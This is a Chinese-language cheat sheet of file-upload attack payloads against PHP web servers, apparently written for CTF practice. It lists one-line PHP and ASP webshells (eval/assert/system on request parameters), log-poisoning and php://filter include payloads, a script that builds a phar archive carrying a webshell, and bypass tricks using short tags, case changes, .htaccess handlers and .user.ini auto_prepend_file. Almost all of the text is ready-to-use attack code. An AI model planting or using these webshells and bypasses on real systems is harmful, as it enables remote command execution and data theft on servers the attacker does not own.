如果一句话木马已经不好传了，可以尝试直接传php语句，执行命令

单语句可以不写分号，如：<? system('ls')?>

一句话木马

####

```
<?php @eval($_POST['pass']);?>
```

```
<?= @eval($_POST['pass']);?>
```

```
<?= array_map("assert",$_REQUEST)?>     //参数
    assert会执行传递给它的PHP代码
例：http://example.com/index.php?assert=system('ls');

<?= array_map("system",$_REQUEST)?>
例：http://example.com/index.php?cmd=ls
```

```
<?php
// 将回调替换为执行 system('ls') 命令
array_map(function($value) {
    system('ls');  // 执行系统命令 `ls`
}, $_REQUEST);
?>
```

```
<? system('ls')?>
```

```
<?=include'/var/l'.'og/nginx/access.l'.'og'?>
日志注入，将日志包含到当前目录php文件中
```

```
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
```

```
<script language="php">@eval($_POST[1]);</script>
```

```
<%execute(request("x"))%>
```

Phar伪协议绕过

```php
<?php
    $payload = '<?php eval($_POST["pass"]); ?>'; //一句话木马
    $phar = new Phar("upload.phar"); //后缀名必须为phar,但生成后可以随便改
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("67.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容，可参考 phar反序列化，此处用不着，故注释
    $phar->stopBuffering();
?>
```

```
phar文件只用stub来判断是否为phar文件，所以后缀可以随便改
当使用 PHP 的 phar:// 伪协议时，PHP 会把这个文件当成一个虚拟文件系统
所以对于php文件来说这是个文件夹
```

使用phar进行文件上传时通常需要结合phar伪协议来攻击

字符绕过

```
大小写绕过：如Php
短标签绕过：<?= ?>，<? ?>                //<?=相当于<?php echo
中括号绕过：{}          //$_POST{'pass'}
双写绕过：pphphp
```

.htaccess绕过　　//适用Apache服务器

```
#设置文件处理方式
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
```

.user.ini绕过　　//前提.user.ini文件所在目录有.php文件

```
#只影响php文件
auto_prepend_file：在文件前插入

auto_append_file：在文件最后插入
```

可以添加图片头，绕过一些限制

```
GIF89a
auto_prepend_file=1.png
```

有以下几种方式

```
auto_prepend_file=/path/to/flag.php
auto_prepend_file=flag
auto_prepend_file=http://example.com/test
auto_prepend_file=http://2130706433/test    //2130706433为127.0.0.1的长整型格式，通常为服务器d
```